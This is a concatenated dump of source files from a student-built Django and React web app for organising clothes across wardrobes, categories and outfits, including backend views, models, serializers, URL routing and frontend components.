OutfitSerializer(outfit_obj) outfit_obj.delete() outfit_item = OutfitItem.objects.filter(user=request.user.username, outfit=outfit) outfit_item.delete() return Response(serializer.data, status=status.HTTP_201_CREATED) @api_view(['POST']) @permission_classes([permissions.IsAuthenticated]) def mod_item(request): request.session.set_expiry(600) item = request.data['name'] item_obj = Item.objects.filter(user=request.user.username, name=item) item_cat = ItemCategory.objects.filter(user=request.user.username, item_id=item) if(request.data['new_name']): item_obj.update(name=request.data['new_name']) item_obj = Item.objects.filter(user=request.user.username, name=request.data['new_name']) if(request.data['wardrobe'] != ''): item_obj.update(wardrobe=request.data['wardrobe']) if(request.data['image']): file = request.data['image'] media = FileSystemStorage(location=os.path.join(settings.MEDIA_ROOT, 'images')) path = media.save(file.name, ContentFile(file.read())) item_obj.update(image=os.path.join('images', path)) if(request.data['category']): if(request.data['new_name']): item = request.data['new_name'] if(item_cat.exists()): item_cat.update(category_id=request.data['category'], item_id=item) else: cat_cr = ItemCategory(category_id=request.data['category'], item_id=item, user=request.user.username) cat_cr.save() return Response(UserSerializer(request.user).data, status=status.HTTP_201_CREATED) @api_view(['POST']) @permission_classes([permissions.IsAuthenticated]) def mod_wd(request): current_wd = request.data['current_wd'] user = request.user.username if(request.data['new_name']): wd = Wardrobe.objects.filter(name=current_wd, user=user) items = Item.objects.filter(wardrobe=current_wd, user=user) wd.update(name=request.data['new_name']) items.update(wardrobe=request.data['new_name']) return Response(UserSerializer(request.user).data, status=status.HTTP_201_CREATED) return Response(item_serializer.errors, status=status.HTTP_400_BAD_REQUEST) @api_view(['POST']) @permission_classes([permissions.IsAuthenticated]) def del_wd(request): current_wd = request.data['current_wd'] user = request.user.username wd = Wardrobe.objects.filter(name=current_wd, user=user) items = Item.objects.filter(wardrobe=current_wd, user=user) wd.delete() items.update(wardrobe='') return Response(UserSerializer(request.user).data, status=status.HTTP_201_CREATED) @api_view(['POST']) @permission_classes([permissions.IsAuthenticated]) def mod_cat(request): old_ct_ = request.data['category_old'] user = request.user.username old_ct = Category.objects.filter(category=old_ct_, user=user) serializer = CategorySerializer(old_ct) if(old_ct.exists() and request.data['category_new']): items_ct = ItemCategory.objects.filter(category_id=old_ct_, user=user) old_ct.update(category=request.data['category_new']) items_ct.update(category_id=request.data['category_new']) return Response(UserSerializer(request.user).data, status=status.HTTP_201_CREATED) return Response(serializer.data, status=status.HTTP_400_BAD_REQUEST) @api_view(['POST']) @permission_classes([permissions.IsAuthenticated]) def del_cat(request): old_ct_ = request.data['category_old'] user = request.user.username old_ct = Category.objects.filter(category=old_ct_, user=user) serializer = CategorySerializer(old_ct) if(old_ct.exists()): items_ct = ItemCategory.objects.filter(user=user, category_id=old_ct_) old_ct.delete() items_ct.delete() return Response(UserSerializer(request.user).data, status=status.HTTP_201_CREATED) return Response(serializer.data, status=status.HTTP_400_BAD_REQUEST) class UserList(APIView): permission_classes = (permissions.AllowAny, ) def post(self, request, format=None): request.session.set_expiry(600) serializer = UserSerializerWithToken(data=request.data) if (serializer.is_valid()): serializer.save() Main_WD = Wardrobe(name="Main Wardrobe", user=serializer['username'].value) Main_WD.save() return Response(serializer.data, status=status.HTTP_201_CREATED) return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) <file_sep>import { combineReducers } from 'redux'; import auth from './auth'; import categories from './categories'; import items from './items'; import outfits from './outfits'; import wardrobes from './wardrobes'; const appReducer = combineReducers({ auth, categories, items, outfits, wardrobes }) const rootReducer = (state, action) => { if (action.type === 'USER_LOGOUT') { state = undefined; } return appReducer(state, action) } export default rootReducer;<file_sep>"""DigitalWardrobe URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.1/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path from ClosetMap import views from django.conf.urls import url from rest_framework_jwt.views import obtain_jwt_token from django.conf import settings from django.views.static import serve urlpatterns = [ path('admin/', admin.site.urls), url(r'^my/', views.my_wardrobes), url(r'^add_item/', views.add_item.as_view()), url(r'^add_outfit/', views.add_outfit.as_view()), url(r'^item_outfits/', views.item_outfits), url(r'^get_items/', views.get_items), url(r'^outfits/', views.outfits), url(r'^open_outfit/', views.open_outfit), url(r'^del_outfit/', views.del_outfit), url(r'^all_items/', views.all_items), url(r'^del_item/', views.del_item), url(r'^mod_item/', views.mod_item), url(r'^del_wd/', views.del_wd), url(r'^mod_wd/', views.mod_wd), url(r'^del_cat/', views.del_cat), url(r'^mod_cat/', views.mod_cat), url(r'^add_wd/', views.add_wd.as_view()), url(r'^add_cat/', views.add_cat.as_view()), url(r'^my_cats/', views.my_cats), url(r'^all_cats/', views.all_cats), url(r'^current_user/', views.current_user), url(r'^users/', views.UserList.as_view()), url(r'^token-auth/', obtain_jwt_token), url(r'^media/(?P<path>.*)$', serve, {'document_root': settings.MEDIA_ROOT,}) ] <file_sep>import React from 'react'; import { connect } from 'react-redux'; import { Link } from 'react-router-dom'; import { categoryActions, itemActions, wardrobeActions } from '../actions'; /* Bootstrap */ import Container from 'react-bootstrap/Container'; import Row from 'react-bootstrap/Row'; import Col from 'react-bootstrap/Col'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; // Confirm-alert import { confirmAlert } from 'react-confirm-alert'; import 'react-confirm-alert/src/react-confirm-alert.css'; var domain = 'http://closetmap.herokuapp.com'; class Wardrobe extends React.Component { constructor(props) { super(props); this.name = props.location.state.name; this.confirmDelete = this.confirmDelete.bind(this); this.handleDelete = this.handleDelete.bind(this); } componentDidMount() { // Fetch categories in the wardrobe this.props.fetchWardrobeCategories(this.name) // Fetch items that are in the wardrobe if (this.name === 'Main Wardrobe') { this.props.fetchAllItems() } else { this.props.fetchWardrobeItems(this.name) } } confirmDelete() { confirmAlert({ title: 'Confirm deletion', message: `Are you sure you want to delete wardrobe ${this.name}? \n All items will still be accessible through the main wardrobe.`, buttons: [ { label: 'Yes, delete', onClick: () => this.handleDelete() }, { label: 'Cancel' } ] }) } handleDelete() { try { this.props.deleteWardrobe(this.name) } catch (err) { alert('An error occurred. Wardrobe not deleted.') } } renderLinks = () => { return ( <div> <Link to={{ pathname: '/edit-wrdb/', state: { wardrobeName: this.name, path: this.props.location.pathname, }, }}> Rename wardrobe </Link> <button onClick={this.confirmDelete}> <FontAwesomeIcon icon="trash" />&nbsp;Delete wardrobe </button> </div> ) } renderCategoryImage = (category) => { if (category.image) { return ( <div className="square-image"> {category.image && <img alt={category.category} src={domain + category.image} /> } </div> ) // Render placeholder icon } else { return ( <div className="category-default-img"> <FontAwesomeIcon icon="folder" /> </div> ) } } // TODO: renderItemImage = (item) => { } render() { return ( < div > {console.log('Wardrobe items', this.props.items)} {console.log('Wardrobe categories', this.props.categories)} <Link to="/home">Back to wardrobes</Link> {(this.name !== 'Main Wardrobe') && this.renderLinks()} <h1>{this.name}</h1> <p>Hint: scroll through your items, click on the buttons below to add an item or switch to the outfit view, you can view the details of your item by clicking on it.</p> <Container className="item-grid"> <Row> {this.props.categories.map((category, index) => { return ( <Col key={index} xs={4} md={3} lg={2}> <Link to={{ pathname: `category/${category.category.replace(' ', '-')}`, state: { category: category, wardrobe: this.name } }} className="category-link" > <h2>{category.category}</h2> {this.renderCategoryImage(category)} </Link> </Col> ) })} {this.props.items.filter((item) => { if (this.name !== 'Main Wardrobe') { return (item.wardrobe === this.name) } else { return true; } }).map((item, index) => { return ( <Col key={item.pk} xs={4} md={3} lg={2}> <Link to={{ pathname: `/items/${item.pk}`, state: { item: item } }} className="item-link" > <h2>{item.name}</h2> <div className="square-image"> {item.image && <img alt={item.name} src={domain + item.image} /> } </div> </Link> </Col>) })} </Row> </Container> </div > ) } } const mapStateToProps = state => { console.log('STATE', state) return { // State has to be modified so that items are divided by wardrobe items: state.items.items, categories: state.categories.categories } } const mapDispatchToProps = dispatch => { return { fetchWardrobeCategories: (wardrobeName) => { return dispatch(categoryActions.fetchWardrobeCategories(wardrobeName)) }, fetchWardrobeItems: (wardrobe) => { return dispatch(itemActions.fetchWardrobeItems(wardrobe)) }, fetchWardrobeCategoryItems: (wardrobe, category) => { return dispatch(itemActions.fetchWardrobeCategoryItems(wardrobe, category)) }, fetchAllItems: () => { return dispatch(itemActions.fetchAllItems()) }, deleteWardrobe: (wardrobeName) => { return dispatch(wardrobeActions.deleteWardrobe(wardrobeName)) } } } export default connect(mapStateToProps, mapDispatchToProps)(Wardrobe); <file_sep>from django.db import models class Wardrobe(models.Model): name = models.CharField("Wardrobe name", max_length=255, default='') user = models.CharField("Owner", max_length=255, default='') image = models.ImageField(upload_to='images', blank=True, null=True) def __str__(self): return self.name class Item(models.Model): name = models.CharField("Item name", max_length=255, default='') user = models.CharField("Owner", max_length=255, default='') wardrobe = models.CharField("Wardrobe", max_length=255, default='') image = models.ImageField(upload_to='images', blank=True, null=True) def __str__(self): return self.name class ItemCategory(models.Model): category_id = models.CharField("Category", max_length=255, default='') item_id = models.CharField("Item", max_length=255, default='') user = models.CharField("User", max_length=255, null=True) def __str__(self): return self.category_id class Category(models.Model): category = models.CharField("Category", max_length=255, default='') user = models.CharField("User", max_length=255, null=True) image = models.ImageField(upload_to='images', blank=True, null=True) def __str__(self): return self.category class Outfit(models.Model): name = models.CharField("Outfit", max_length=255, default='') user = models.CharField("User", max_length=255, null=True) image = models.ImageField(upload_to='images', blank=True, null=True) class OutfitItem(models.Model): name = models.CharField("Item", max_length=255, default='') outfit = models.CharField("Outfit", max_length=255, default='') user = models.CharField("User", max_length=255, null=True) <file_sep>import React from 'react'; import { connect } from 'react-redux'; import { Link } from 'react-router-dom'; import { categoryActions, itemActions } from '../actions'; /* Bootstrap */ import Container from 'react-bootstrap/Container'; import Row from 'react-bootstrap/Row'; import Col from 'react-bootstrap/Col'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; // Confirm-alert import { confirmAlert } from 'react-confirm-alert'; import 'react-confirm-alert/src/react-confirm-alert.css'; var domain = 'http://closetmap.herokuapp.com'; class CategoryPage extends React.Component { constructor(props) { super(props) // Get data relayed through link from previous view this.category = props.location.state.category this.wardrobe = props.location.state.wardrobe this.confirmDelete = this.confirmDelete.bind(this); this.handleDelete = this.handleDelete.bind(this); } componentDidMount() { this.props.fetchWardrobeCategoryItems(this.wardrobe, this.category.category); } // TODO: confirmDelete() { confirmAlert({ title: 'Confirm deletion', message: `Are you sure you want to delete category ${this.category}? \n All items will remain in the wardrobe.`, buttons: [ { label: 'Yes, delete', onClick: () => alert('Not implemented!') }, { label: 'Cancel' } ] }) } handleDelete() { try { // TODO: Delete category console.log('NOT IMPLEMENTED') } catch (err) { alert('An error occurred. Category not deleted.') } } renderItems() { return ( <Row> {this.props.items.map((item) => { return ( <Col key={item.pk} xs={4} md={3} lg={2}> <Link to={{ pathname: `/items/${item.pk}`, state: { item: item } }} className="item-link" > <h2>{item.name}</h2> <div className="square-image"> { // TODO: Render placeholder image! item.image && <img alt={item.name} src={domain + item.image} /> } </div> </Link> </Col>) }) } </Row> ) } renderItemImage = () => { } /** * TODO: * - Add back link * - Add link to renaming category * - Add link for deleting category */ render() { return ( <div> <Link className="back-link" to="/home">Back to wardrobes</Link> <h1>{this.wardrobe}: {this.category.category}</h1> <Container className="item-grid"> {this.renderItems()} </Container> </div> ) } } const mapStateToProps = state => { return { items: state.items.items } } const mapDispatchToProps = dispatch => { return { fetchWardrobeCategoryItems: (wardrobeName, categoryName) => { return dispatch(itemActions.fetchWardrobeCategoryItems(wardrobeName, categoryName)) }, deleteCategory: (e, data) => { return dispatch(categoryActions.deleteCategory(e, data)) } } } export default connect(mapStateToProps, mapDispatchToProps)(CategoryPage); <file_sep>const express = require('express') const proxy = require('http-proxy-middleware') const path = require('path') const app = express() const PORT = process.env.PORT || 5000 // Proxy api request // Optional, if you don't want your add CORS support to your Django app app.use( '/api', proxy({ target: "http://closetmap.herokuapp.com", changeOrigin: true, ws: true, pathRewrite: { '^/api': '', }, }) ) app.use(express.static(path.join(__dirname, 'build'))) app.get('*', function(req, res) { res.sendFile(path.join(__dirname, 'build', 'index.html')) }) app.listen(PORT, () => console.log(`Listening on :${PORT}`)) <file_sep>// Initial state for items const initialState = { items: [] }; export default function items(state = initialState, action) { switch (action.type) { case 'FETCH_ALL_ITEMS': case 'FETCH_ITEMS_CATEGORY': return { ...state, items: [...action.items] } case 'FETCH_ITEMS': let filteredItems = action.items.filter((fetchedItem) => { return (state.items.findIndex(stateItem => { return stateItem.pk === fetchedItem.pk; }) === -1) }) return { ...state, items: [...state.items, ...filteredItems] } case 'MODIFY_ITEM': let unmodifiedItems = state.items.filter((item) => { return (item.pk !== action.item) }) return { ...state, items: [...unmodifiedItems, action.item] } // TODO: Update so it considers categories case 'ADD_ITEM': return { ...state, items: [...state.items, action.item] } /* case 'DELETE_ITEM': return { ...state, items: [state.items.filter(item => item.pk !== action.item)] } */ default: return state; } }<file_sep>var domain = 'http://closetmap.herokuapp.com'; /** * Methods: * - login * - logout * - loadUser * - signup */ export const login = (username, password) => { return (dispatch, getState) => { return fetch(domain + '/token-auth/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, password }) }) .then(res => { if (res.status < 500) { return res.json().then(data => { return { status: res.status, data }; }) } else { console.log("Server error"); throw res; } }) .then(res => { if (res.status === 200) { dispatch({ type: 'LOGIN_SUCCESSFUL', data: res.data }); return res.data; } else if (res.status === 403 || res.status === 401) { dispatch({ type: 'AUTHENTICATION_ERROR', data: res.data }) // TODO: Dipslay error message to the user throw res.data; } else { dispatch({ type: 'LOGIN_FAILED', data: res.data }); // TODO: Dipslay error message to the user throw res.data; } }) } } // TODO export const logout = () => { return (dispatch, getState) => { dispatch({ type: 'USER_LOGOUT', data: { errors: [], user: null } }) } } export const loadUser = () => { return (dispatch, getState) => { dispatch({ type: 'USER_LOADING' }); return fetch(domain + '/current_user/', { headers: { "Content-Type": "application/json", Authorization: `JWT ${getState().auth.token}` } }) .then(res => { if (res.status < 500) { return res.json().then(data => { return { status: res.status, data }; }) } else { console.log("Server error"); throw res; } }) .then(res => { if (res.status === 200) { dispatch({ type: 'USER_LOADED', user: res.data }); return res.data; } else if (res.status >= 400 && res.status < 500) { dispatch({ type: 'AUTHENTICATION_ERROR', data: res.data }); throw res.data; } }) } } export const signup = (username, password) => { return (dispatch, getState) => { return fetch(domain + '/users/', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, password }) }) .then(res => { console.log('RES', res) if (res.status < 500) { return res.json().then(data => { return { status: res.status, data: data }; }) } else { console.log("Server error"); throw res; } }) .then(result => { if (result.status === 200 || result.status === 201) { dispatch({ type: 'REGISTRATION_SUCCESSFUL', data: result.data }); return result.data; } else if (result.status === 403 || result.status === 401) { dispatch({ type: 'AUTHENTICATION_ERROR', data: result.data }); // TODO: Display error message to the user throw result.data; } else { dispatch({ type: 'REGISTRATION_FAILED', data: result.data }); // TODO: Display error message to the user throw result.data; } }) } } <file_sep>import React, { Component } from 'react'; import { connect } from 'react-redux'; import { wardrobeActions } from '../actions'; import { Link } from 'react-router-dom'; class WardrobeRenameForm extends Component { constructor(props) { super(props) this.wardrobeName = props.location.state.wardrobeName; this.wrdbPath = props.location.state.path; this.state = { new_name: '', }; } handleChange = (e) => { this.setState({ [e.target.id]: e.target.value }) }; onSubmit = e => { e.preventDefault() // e => this.props.wd_modify(e, this.state) try { this.props.modifyWardrobe(this.wardrobeName, this.state.new_name) this.props.history.push(this.wrdbPath, { name: this.state.new_name }) } catch (err) { console.log('Error', err) } } render() { return ( <div className="WardrobeDelForm"> <Link to="/home">Back</Link> <form onSubmit={this.onSubmit} className="WardrobeDelForm"> <h4>Rename wardrobe '{this.wardrobeName}'</h4> <div> <label htmlFor="New_name">New name: </label> <input type="text" name='New_name' id='new_name' value={this.state.new_name} onChange={this.handleChange} /> </div> <p> <input type="submit" value='Modify Wardrobe' /> </p> </form> </div> ); } } const mapStateToProps = state => { return { wardrobes: state.wardrobes.wardrobes, } } const mapDispatchToProps = dispatch => { return { deleteWardrobe: (wardrobeName) => { dispatch(wardrobeActions.deleteWardrobe(wardrobeName)) }, modifyWardrobe: (wardrobeName, newName) => { dispatch(wardrobeActions.modifyWardrobe(wardrobeName, newName)) } } } export default connect(mapStateToProps, mapDispatchToProps)(WardrobeRenameForm);<file_sep>import React from 'react'; import { connect } from 'react-redux'; import { Redirect, Link, withRouter } from 'react-router-dom'; import { authActions } from '../actions'; import Container from 'react-bootstrap/Container'; import Row from 'react-bootstrap/Row'; import Col from 'react-bootstrap/Col'; import LoggedOutNav from './LoggedOutNav'; class LoginForm extends React.Component { state = { username: '', password: '' }; onSubmit = e => { e.preventDefault(); this.props.login(this.state.username, this.state.password) } handle_change = e => { const name = e.target.name; const value = e.target.value; this.setState(prevstate => { const newState = { ...prevstate }; newState[name] = value; return newState; }); }; render() { if (this.props.isAuthenticated) { return <Redirect to="/home" /> } return ( <div> <LoggedOutNav /> <Container> <Row> <Col > <form onSubmit={this.onSubmit} className="login-form" > <h1>Log In</h1> <label htmlFor="username">Username</label> <input type="text" name="username" value={this.state.username} onChange={this.handle_change} /> <label htmlFor="password">Password</label> <input type="<PASSWORD>" name="password" value={this.state.password} onChange={this.handle_change} /> <input type="submit" value="Login" /> <p>Don't have an account yet? <br /> <Link to='/signup'>Create an account!</Link> </p> </form> <div> {this.props.errors.length > 0 && ( <ul className="errors"> {this.props.errors.map(error => ( <li key={error.field}>{error.message}</li> ))} </ul> )} </div> </Col> </Row> </Container> </div> ); } } const mapStateToProps = state => { let errors = []; if (state.auth.errors) { errors = Object.keys(state.auth.errors).map(field => { return { field, message: state.auth.errors[field] }; }); } return { errors, isAuthenticated: state.auth.isAuthenticated }; } const mapDispatchToProps = dispatch => { return { login: (username, password) => { return dispatch(authActions.login(username, password)); } }; } export default withRouter(connect(mapStateToProps, mapDispatchToProps)(LoginForm));<file_sep>from django.apps import AppConfig class ClosetmapConfig(AppConfig): name = 'ClosetMap' <file_sep>from rest_framework import serializers from rest_framework_jwt.settings import api_settings from .models import Wardrobe, Item, Category, ItemCategory, Outfit from django.contrib.auth.models import User class OutfitSerializer(serializers.ModelSerializer): class Meta: model = Outfit fields = ('pk', 'name', 'user', 'image') class WardrobeSerializer(serializers.ModelSerializer): class Meta: model = Wardrobe fields = ('pk','name', 'user', 'image') class ItemSerializer(serializers.ModelSerializer): class Meta: model = Item fields = ('pk', 'name', 'user', 'wardrobe', 'image',) class UserSerializer(serializers.ModelSerializer): class Meta: model = User fields = ('username',) class ItemCategorySerializer(serializers.ModelSerializer): class Meta: model = ItemCategory fields = ('category_id', 'item_id', 'user',) class CategorySerializer(serializers.ModelSerializer): class Meta: model = Category fields = ('category', 'user', 'image') class UserSerializerWithToken(serializers.ModelSerializer): token = serializers.SerializerMethodField() password = serializers.CharField(write_only=True) def get_token(self, obj): jwt_payload_handler = api_settings.JWT_PAYLOAD_HANDLER jwt_encode_handler = api_settings.JWT_ENCODE_HANDLER payload = jwt_payload_handler(obj) token = jwt_encode_handler(payload) return token def create(self, validated_data): password = validated_data.pop('password', None) instance = self.Meta.model(**validated_data) if password is not None: instance.set_password(password) instance.save() return instance class Meta: model = User fields = ('token', 'username', 'password',) <file_sep>import React from 'react'; import { connect } from 'react-redux'; import { Link } from 'react-router-dom'; import { outfitActions } from '../actions'; /* Bootstrap */ import Container from 'react-bootstrap/Container'; import Row from 'react-bootstrap/Row'; import Col from 'react-bootstrap/Col'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; var domain = 'http://closetmap.herokuapp.com'; class Outfits extends React.Component { componentDidMount() { this.props.fetchOutfits() } renderImage = (outfit) => { if (outfit.image) { return ( <div className="square-image"> {outfit.image && <img alt={outfit.name} src={domain + outfit.image} /> } </div> ) } else { return ( <div className="outfit-default-img"> <FontAwesomeIcon icon="walking" /> </div> ) } } render() { return ( <Container> <Link to="/home">Back</Link> <h1>Your Outfits</h1> <p>Hint: scroll through your outfits. Click on the buttons below to add an outfit or switch to the items view. You can view the details of your outfit by clicking on it.</p> <Row> {this.props.outfits.map((outfit, index) => { return ( <Col key={outfit.pk} xs={4} md={3} lg={2}> <Link to={{ pathname: `/outfit/${outfit.pk}`, state: { outfit: outfit } }} className="outfit-link" > <h2>{outfit.name}</h2> {this.renderImage(outfit)} </Link> </Col>) })} </Row> </Container> ) } } const mapStateToProps = state => { return { outfits: state.outfits.outfits } } const mapDispatchToProps = dispatch => { return { fetchOutfits: () => { dispatch(outfitActions.fetchOutfits()) } } } export default connect(mapStateToProps, mapDispatchToProps)(Outfits); <file_sep>djangorestframework django-cors-headers djangorestframework-jwt Pillow certifi==2018.11.29 chardet==3.0.4 defusedxml==0.5.0 dj-database-url==0.5.0 Django==2.1.3 django-bootstrap3==11.0.0 django-heroku==0.3.1 gunicorn==19.9.0 idna==2.8 oauthlib==3.0.1 psycopg2==2.7.7 psycopg2-binary==2.7.7 PyJWT==1.7.1 python-social-auth==0.3.6 python3-openid==3.1.0 pytz==2018.7 requests==2.21.0 requests-oauthlib==1.2.0 six==1.12.0 social-auth-app-django==3.1.0 social-auth-core==3.1.0 urllib3==1.24.1 whitenoise==4.1.2 <file_sep>import React, { Component } from 'react'; import { connect } from 'react-redux'; import { itemActions, outfitActions } from '../actions'; import { Link } from 'react-router-dom'; class OutfitForm extends Component { constructor(props) { super(props) this.state = { name: '', items: [], item: '', image: '', }; } componentDidMount() { this.props.fetchAllItems(); } onSubmit = e => { e.preventDefault(); this.props.addOutfit(this.state) } handleChange = (e) => { this.setState({ [e.target.id]: e.target.value }) }; handleImageChange = (e) => { this.setState({ image: e.target.files[0] }) }; handle_add = (e) => { e.preventDefault(); if (this.state.item === 'None' || this.state.item === '') { return; } this.state.items.push(this.state.item); this.setState({ item: '' }); console.log(this.state.items); }; // Todo: write render() { return ( <div className="OutfitForm"> <form onSubmit={this.onSubmit} className="OutfitForm"> <h4>Create outfit</h4> <Link to="/home">Back</Link> <p>Hint: you are in the shoes of a fashion designer: what do you want to wear? Add item to combine them in your dream outfit and name your creation! </p> <div> <label htmlFor="Item">Add item: </label> <select name='Item' id='item' value={this.state.item} onChange={this.handleChange} > <option key={'none'} value={null}>None</option> {this.props.items.map((item, index) => { return (<option key={index} value={item.name}>{item.name}</option>); })} </select> </div> <div>Added items:</div> <ul> {this.state.items.map(id => (<Row id={id} />))} </ul> <button onClick={this.handle_add}>Add Item</button> <div> <label htmlFor="name">Outfit name: </label> <input type="text" name='name' id='name' value={this.state.name} onChange={this.handleChange} required /> </div> <div> <label htmlFor="photo">Add photo</label> <input type="file" name="photo" id="image" accept="image/png, image/jpeg" onChange={this.handleImageChange} /> </div> <p> <input type="submit" value='Create outfit' /> </p> </form> </div> ); } } const Row = ({ id }) => ( <li key={id}>{id}</li> ); const mapStateToProps = state => { return { items: state.items.items, } } const mapDispatchToProps = dispatch => { return { fetchAllItems: () => { dispatch(itemActions.fetchAllItems()) }, addOutfit: (data) => { dispatch(outfitActions.addOutfit(data)) } } } export default connect(mapStateToProps, mapDispatchToProps)(OutfitForm);<file_sep>import React from 'react'; import { connect } from 'react-redux'; import { wardrobeActions } from '../actions'; import { Link } from 'react-router-dom'; class WardrobeForm extends React.Component { state = { wardrobe: '', image: null }; onSubmit = e => { e.preventDefault(); this.props.addWardrobe(this.state) } handle_change = e => { const name = e.target.name; const value = e.target.value; this.setState(prevstate => { const newState = { ...prevstate }; newState[name] = value; return newState; }); }; handleImageChange = (e) => { this.setState({ image: e.target.files[0] }) }; render() { return ( <form onSubmit={this.onSubmit}> <Link to="/home">Back</Link> <h4>Add Wardrobe</h4> <label htmlFor="wardrobe">Wardrobe name</label> <input type="text" name="wardrobe" value={this.state.wardrobe} onChange={this.handle_change} /> <label htmlFor="photo">Set icon</label> <input type="file" name="photo" id="image" accept="image/png, image/jpeg" onChange={this.handleImageChange} /> <input type="submit" value="Add Wardrobe" /> </form> ); } } const mapStateToProps = state => { return { } } const mapDispatchToProps = dispatch => { return { addWardrobe: (data) => { return dispatch(wardrobeActions.addWardrobe(data)) } } } export default connect(mapStateToProps, mapDispatchToProps)(WardrobeForm); <file_sep>import React, { Component } from 'react'; import { Link } from 'react-router-dom'; import { connect } from 'react-redux'; import { outfitActions, itemActions } from '../actions'; import { Container, Row, Col, Table, } from 'react-bootstrap'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; // Confirm-alert import { confirmAlert } from 'react-confirm-alert'; import 'react-confirm-alert/src/react-confirm-alert.css'; var domain = 'http://closetmap.herokuapp.com'; class ItemPage extends Component { constructor(props) { super(props) this.item = props.location.state.item; this.confirmDelete = this.confirmDelete.bind(this); this.handleDelete = this.handleDelete.bind(this); this.goBack = this.goBack.bind(this); } componentDidMount() { this.props.outfitsByItem(this.item) } goBack() { this.props.history.goBack(); } confirmDelete() { confirmAlert({ title: 'Confirm deletion', message: `Are you sure you want to delete ${this.item.name}?`, buttons: [ { label: 'Yes, delete', onClick: () => this.handleDelete() }, { label: 'Cancel' } ] }) } handleDelete() { try { this.props.deleteItem(this.item) } catch (err) { alert('An error occurred. Item not deleted.') } } renderImage() { console.log('Image', this.item.image) if (this.item.image) { return ( <div className="square-image"> <img className="itempage-img" alt={this.item.name} src={domain + this.item.image} /> </div>) } else { return ( <div className="item-placeholder-img"> <FontAwesomeIcon icon="tshirt" /> </div> ) } } renderOutfitImage(outfit) { if (outfit.image) { return ( <div className="square-image"> {outfit.image && <img alt={outfit.name} src={domain + outfit.image} /> } </div> ) } else { return ( <div className="outfit-default-img"> <FontAwesomeIcon icon="walking" /> </div> ) } } renderOutfits() { if (this.props.itemOutfits.length > 0) { return ( <Row> {this.props.itemOutfits.map((outfit) => { return ( <Col key={outfit.pk} xs={4} md={3} lg={2}> <Link to={{ pathname: `/outfit/${outfit.pk}`, state: { outfit: outfit } }} className="item-link" > <h3>{outfit.name}</h3> {this.renderOutfitImage(outfit)} </Link> </Col> ) })} </Row> ) } else { return ( <Row> <Col> <p>This item is not yet part of any outfit</p> </Col> </Row> ) } } render() { return ( <div className="page-container"> <button className="back-button" onClick={this.goBack}>Back</button> <Link to={{ pathname: '/del-item/', state: this.item, }}> Edit item </Link> <button onClick={this.confirmDelete}> <FontAwesomeIcon icon="trash" />&nbsp;Delete item </button> <Container> <Row> <Col xs={12} md={6}> {this.renderImage()} </Col> <Col xs={12} md={6}> <h1 className="itempage-title">{this.item.name}</h1> <Table responsive> <tbody> <tr> <td>Wardrobe</td> <td>{this.item.wardrobe}</td> </tr> <tr> <td>Category</td> <td>{this.item.category ? this.itemcategory : '--'}</td> </tr> <tr> <td>Season</td> <td><em>Coming in future version</em></td> </tr> <tr> <td>Tags</td> <td><em>Coming in future version</em></td> </tr> </tbody> </Table> </Col> </Row> <h2>Outfits</h2> {this.renderOutfits()} </Container> </div > ) } } const mapStateToProps = state => { return { itemOutfits: state.outfits.itemOutfits } } const mapDispatchToProps = dispatch => { return { fetchOutfits: () => { return dispatch(outfitActions.fetchOutfits()) }, outfitsByItem: (item) => { return dispatch(outfitActions.outfitsByItem(item)) }, deleteItem: (item) => { dispatch(itemActions.deleteItem(item)) } } } export default connect(mapStateToProps, mapDispatchToProps)(ItemPage); <file_sep>from django.contrib import admin from .models import Item from .models import Outfit # Register your models here. admin.site.register(Item) admin.site.register(Outfit) <file_sep>import React from 'react'; import { Link } from 'react-router-dom'; import Container from 'react-bootstrap/Container'; import LoggedOutNav from './LoggedOutNav'; class FAQ extends React.Component { render() { return ( <div> <LoggedOutNav /> <Container> <Link to="/">Back</Link> <h1>Frequently asked questions</h1> <p> * </p> <h2>Who are you?</h2> <p>We are students in Computer Science at Aalto University in Finland. We have designed this website as part of our study program. </p> <h2>Is the website for me?</h2> <p> The website is mainly for people who store their clothes in more than one place and do not know where they are. The main features of our app are creating different wardrobes with different categories and adding items and outfits and their respective picture, all DIY. </p> <p> If you are a living with divorced parents, in a student house, if you have clothes at your partner’s house, or if you simply want to be organized and carry your closet in your pocket, that website is for you.</p> <h2>What is the difference between adding an item and adding an outfit? </h2> <p>An outfit consists of several items. You then first need to have items to create an outfit.</p> <h2>How to move items ?</h2> <p>When you open the wardrobe and click on an item and reach the editing page. There, you can change its location and/or category. </p> <h2>What happens if I delete a category?</h2> <p> Only the category is deleted. The items are still there but do not belong to the category any more.</p> <h2>What do you do with my data?</h2> <p>Your data are personal and we make no use of them. </p> <h2>Can I move an entire outfit form one wardrobe to another at once?</h2> <p> No but it will be implemented in the next update.</p> <h2>What shall be added in the future updates?</h2> <p> In the next update,we will add the possibility to <ol> <li>Move an entire outfit from one wardrobe to another in one click.</li> <li>View all the clothes with or without the categories.</li> <li>Choose different icons for the wardrobe and the items.</li> </ol> </p> <p> * </p> <p>* * </p> <p> * </p> <p>Contact us by email on <EMAIL></p> </Container> </div> ) } } export default FAQ;<file_sep>import React from 'react'; import { connect } from 'react-redux'; import { categoryActions } from '../actions'; import { Link } from 'react-router-dom'; class CategoryForm extends React.Component { constructor(props) { super(props) this.state = { category: '', category_old: '', category_new: '', current_wd: this.props.current_wd, image: '' }; } componentDidMount() { this.props.fetchAllCategories() } onSubmit = (e) => { e.preventDefault(); this.props.addCategory(this.state) } handleChange = (e) => { this.setState({ [e.target.id]: e.target.value }) }; handleImageChange = (e) => { this.setState({ image: e.target.files[0] }) }; render() { return ( <form onSubmit={this.onSubmit}> <h4>Manage Categories</h4> <Link to="/home">Back</Link> <div> <label htmlFor="Category">Category: </label> <select name='Category' 